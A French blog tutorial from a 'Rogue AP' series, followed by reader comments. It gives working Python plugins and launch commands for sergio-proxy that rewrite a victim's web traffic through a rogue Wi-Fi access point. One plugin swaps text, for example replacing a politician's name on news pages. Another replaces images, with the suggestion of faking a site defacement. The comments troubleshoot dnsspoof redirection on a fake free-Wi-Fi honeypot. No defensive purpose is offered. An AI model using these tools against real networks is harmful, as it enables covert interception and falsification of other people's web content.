[Tuto] Rogue AP – Episode 6 : Remplacement et modification de contenu

Salut à tous !

Comme promis voici la suite de mon article sur le remplacement de contenu dans le trafic de la victime, sur un Rogue AP (je vous avais dit que ça serait publié rapidement ! :P). Là où la première partie se limitait aux fichiers EXE et PDF, on va voir que sergio-proxy permet des modifications bien plus génériques que ça ! 🙂 J’aborderai ici le remplacement de texte et d’images comme exemples, mais c’est facilement généralisable. En fait, on se retrouve avec un équivalent d’Etterfilter/Ettercap, mais plus facile à mettre en place (enfin je trouve).  Au passage, on en profitera pour aborder plus en détail ses plugins, et on verra comment on peut écrire les nôtres. Et vu mes compétences en Python, si j’ai pu y arriver, vous pouvez tous le faire ! 😀 Allez hop, c’est parti !

Si vous avez suivi les premiers articles et que vous êtes un peu curieux, vous avez peut-être été jeter un œil au code-source de sergio-proxy (c’est du « simple » Python, donc pas trop compliqué. Ce qui est surtout intéressant, c’est de voir à quel point il est facile à étendre au moyen de plugins. Ces plugins se trouvent dans le dossier « plugins » (sans blague), et même si un fichier test.py est fourni comme canevas, c’est plus facile de partir d’un plugin existant pour comprendre comment ça marche 😉

Le plugin est séparé en deux parties : une première où on déclare les options et les possibilités du plugin (« handleHeader » pour modifier les en-tête, ou « handleResponse » pour modifier le contenu), et une seconde qui constitue la « charge utile » du plugin. Je trouve que le plus compréhensible c’est « Upsidedownternet.py » (celui qui retourne toutes les images) que je vous invite à regarder si vous êtes curieux, pour les autres pareusseux pressés je vais donner un exemple simple tout de suite.

Dans un premier temps, je vais juste traiter des modifications de contenu (« handleResponse »), je me garde le handleHeader pour un futur article. Il y a aussi une option « handlerequest » je crois, mais celle-là je n’ay ai pas encore touché. Pour sergio-proxy, tout le contenu de la réponse-serveur (ce que la victime recevra, donc) est un gros bloc de texte stocké dans la variable « data ». On peut donc utiliser les fonctions classiques de Python sur cette variable texte, pour remplacer du contenu. Voici mon fichier ReplaceText.py (à mettre dans le dossier « plugins » de sergio-proxy):

#-*- coding:utf-8 -*-
import string
# Cette ligne-ci est obligatoire :
from plugins.plugin import Plugin

class ReplaceText(Plugin):
	name = "ReplaceText"   # Choisissez un nom pour votre plugin
	optname = "replacetext"    # Ca c'est le nom que vous utiliserez pour l'invoquer en ligne de commande
	has_opts = True    # Signaler que notre plugin a des options
	implements = ["handleResponse"]    # Ici je ne modifie que la réponse, donc "handleResponse" suffit
    # Cette méthode définit les options du plugin :
	def add_options(self,options):
        # deux arguments, "originaltext" et "newtext", en "help" vous mettez ce que vous voulez
		options.add_argument("--originaltext",help="Text to replace")
		options.add_argument("--newtext",help="Replacement text")
    # Ici on (re)définit la façon dont notre plugin va modifier le contenu
	def handleResponse(self,request,data):
        # Dans la variable "data" (= la réponse du serveur), on remplace "originaltext" par "newtext"
		data=data.replace(self.options.originaltext,self.options.newtext)
        # et on renvoie la requête (non modifiée) et la réponse (data), sergio-proxy s'occupe du reste
		return {'request':request,'data':data}

Et voilà, on peut pas dire que ce soit hardcore comme code 😉 On pourrait renvoyer un message à la console via la fonction logging.info() mais là ça commence à devenir plus lourd, faisons simple dans un premier temps.
En pratique, ça s’utilise comme ça :

python2 sergio-proxy.py -l 10000 -w /tmp/sergio-log.txt --replacetext --originaltext "François Hollande" --newtext "Nicolas Sarkozy"

Puis vous allez sur Google news et vous admirez le résultat 😀

Bon, ça c’est l’utilisation de base, mais puisqu’on travaille avec de gros blocs de texte, on pense tout de suite aux expressions régulières (et là tout de suite on joue plus dans le même bac à sable). Voilà par exemple mon plugin ReplaceImg.py :

#-*- coding:utf-8 -*-
import string,re
from plugins.plugin import Plugin

class ReplaceText(Plugin):
	name = "ReplaceImg"
	optname = "replaceimg"
	has_opts = True
	implements = ["handleResponse"]
	def add_options(self,options):
		options.add_argument("--newimg",help="Replacement picture")
	def handleResponse(self,request,data):
################################
# Ca c'est la ligne importante :
################################
		data=re.sub(r"<img.*>","<img alt="Pwned !" src="%s" />" % self.options.newimg,data)

		return {'request':request,'data':data}

Vous noterez la similitude avec le premier plugin, d’où l’absence de commentaires. Ici, mon plugin va remplacer toutes les images par celle de mon choix, que je donne via l’argument –newimg. De nouveau, c’est pas du code de haute volée 😛

Cette fois on l’utilise comme ceci :

python2 sergio-proxy.py -l 10000 -w /tmp/sergio-log.txt --replaceimg --newimg "http://www.decouvertes63.com/wp-content/uploads/2011/10/jollyroger.gif"

De quoi faire (un peu) stresser votre victime insouciante 🙂 Évidemment, si vous voulez remplacer une image en particulier sur un site en particulier, vous pouvez adapter le code pour le rendre beaucoup plus « chirurgical » (à condition de connaître l’URL de l’élément à replacer). C’est une bonne façon de faire croire à la victime que le site a été défacé (en remplaçant juste la bannière principale), par exemple.

fb_altered[Ici, j’ai utilisé une image locale, avec une adresse du genre http://192.168.2.1/fb_altered.png ]

Encore une fois, mes compétences en python sont limitées (mais j’y travaille !) et des codeurs plus expérimentés imagineront sans mal toutes les possibilités qui s’offrent à eux 😉 Pour plus d’infos, j’invite les lecteurs intéressés à regarder le code-source des autres plugins pour s’inspirer. Pensez juste que les plugins sont chargés au démarrage de sergio-proxy, si vous modifiez votre code il faut relancer le proxy pour que les modifications soient prises en compte.

Au passage, si vous regardez la console de sergio-proxy pendant l’attaque, vous noterez un paquet de message d’avertissement (ou d’erreur), à cause des guillemets (simples et doubles) qui sont assez mal gérés. Je n’ai pas trouvé de moyen « propre » pour régler ça, mais ça n’a pas l’air d’être gênant donc je m’en contente. Si vous avez des améliorations (pour ça ou autre chose), elles sont les bienvenues dans les commentaires ci-dessous ou par mail 🙂

A vos claviers !

Advertisements
Cet article a été publié dans rogue-ap, tuto. Ajoutez ce permalien à vos favoris.

7 commentaires pour [Tuto] Rogue AP – Episode 6 : Remplacement et modification de contenu

  1. Mtv_31 dit :

    Salut,
    Après avoir executer mon script.sh, je voudrais rediriger le trafic avec dnsspoof.

    La commande dnsspoof, n’a aucun impact sur les ordinateurs connecté a mon « Wifi Gratuit »:
    dnsspoof -i eth0 -f /etc/hosts

    Avec dans mon hosts:
    * A 192.168.2.1
    Si tu as une explication, je serais intéressé car pour l’instant je ne vois vraiment pas de réponse.

    • antares145 dit :

      Salut,
      Là comme ça sans autre info je penche pour un problème de cache DNS : tes « victimes » sont déjà allées sur ces sites, et le cache DNS a gardé les IP en mémoire donc il n’y a pas de nouvelle requête DNS (donc pas d’interception, pas de bras et pas de chocolat). Essaie en vidant le cache DNS des victimes (Google « flush dns cache »).

      Si c’est pas ça, essaie une syntaxe moins générique que * (ou essaie au moins *.*), et si ça fonctionne toujours pas lance Wireshark en écoute sur at0 et regarde s’il y a du trafic DNS (et s’il est redirigé) 🙂

      • Mtv_31 dit :

        Merci pour la réponse et les suggestions. Malheureusement ma solution n’y est pas encore.
        J’ ai bien exécuté ma commande ipconfig /flushdns sur mon pc victime et modifié mon fichier hosts, rien ne change.

        Quand je lance ma capture sous wireshark il y a bien du trafic dns entre ma victime 192.168.2.10 et 8.8.8.8 mais il ne semble pas redirigé ( en tous cas il n’y a pas de 192.168.2.1 ). La seule solution pour arriver sur la fameuse page « It works! » est de taper l’url 192.168.2.1 mais ce n’est pas tellement le but poursuivit 🙂

        J’ai une petite info supplémentaire que je ne comprends pas vraiment. Après avoir lancer mon dnsspoof la commande me retourne :
        « dnsspoof: listening on eth0 [udp dst port 53 and not src 132.208.105.x] »

        As-tu d’autres pistes? Car je dois avouer que je suis un peu perdu.

        J’ai deux autre questions, par simple curiosité :
        Pourquoi le fichier « hosts » n’est pas un « host.dns »?
        Pourquoi utilise-t-on Google Public DNS avec 8.8.8.8?

      • antares145 dit :

        Commence déjà par lancer dnsspoof sur l’interface at0 (au lieu de eth0) si tu es dans le schéma Rogue-AP. Tu as une raison particulière pour le lancer sur eth0, d’ailleurs ? Sinon, je sèche un peu là, mais le retour de dnsspoof m’intrigue, elle correspond à quoi cette IP 132.208.105.x ? Ton adresse IP publique, si j’en juge par les logs du blog… 😀 C’est ptet pour ça que dnsspoof ne déclenche pas (trafic DNS sortant ignoré ?), à voir si ça change avec at0 (par contre je comprends pas trop comment tu peux être en IP externe sur eth0, t’as pas de NAT ?)

        Pour répondre à tes deux questions :
        – le fichier hosts est l’ancêtre du DNS et s’appelle « hosts » pour des raisons historiques. Accessoirement, c’est une ressource locale donc l’appeler « DNS » (qui est une ressource réseau) n’aurait pas beaucoup de sens…
        – pour les DNS publics de Google, c’est surtout pour la facilité du script, utiliser un serveur « fiable » avec une IP facile à retenir. Ca fonctionnerait tout aussi bien avec les IP d’OpenDNS, du DNS de ton FAI ou même l’IP de ta box (elle fait sans doute cache DNS), mais là au moins je suis sûr que ça fonctionne. Même si je ne recommanderais pas l’utilisation du service DNS de Google en usage quotidien 😉

  2. Mtv_31 dit :

    A nouveau merci pour tes réponses. Malheureusement pour l’instant ce n’est toujours pas ça. Jusqu’à présent je lançais eth0, tout bêtement car c’est l’exemple que j’ai trouvé sur les tutos concernant dnsspoof. En modifiant l’interface par at0, je n’ai toujours aucun effet sur mon pc victime.

    La commande dnsspoof me retourne:
    dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.2.1]
    et puis plus rien, toujours pas de redirection sur ma machine victime :/

    Pour ce qui est du NAT, je ne saurai pas te répondre. Au niveau de mon installation je suis en résidence universitaire avec un pc attaquant sous backtrack 5 connecté par un cable ethernet et un pc victime sous window 7 connecté à mon honey pot « Wifi Gratuit ».

  3. eric dit :

    Parfait. +1 pour sergio-proxy niveau injection de code. J’avais fait des tests similaire avec les filters d’ettercap, mais c’est loin d’être la même simplicité de part leur language proprietaire ressemblant au C. L’utilisation du python ici représente vraiment un réel confort niveau dev.
    C’est dailleur flippant que l’ont puissent faire ce genre de manip aussi facilement 😦 mais bon …

    Merci.

    • antares145 dit :

      Ce qui est surtout flippant c’est que je sois arrivé à écrire un plugin en codant comme un barbare (La Rache style), et que ça marche ! 😀 c’est vrai que c’est clairement moins prise de tête que les filtres d’Ettercap…

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion / Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion / Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion / Changer )

Photo Google+

Vous commentez à l'aide de votre compte Google+. Déconnexion / Changer )

Connexion à %s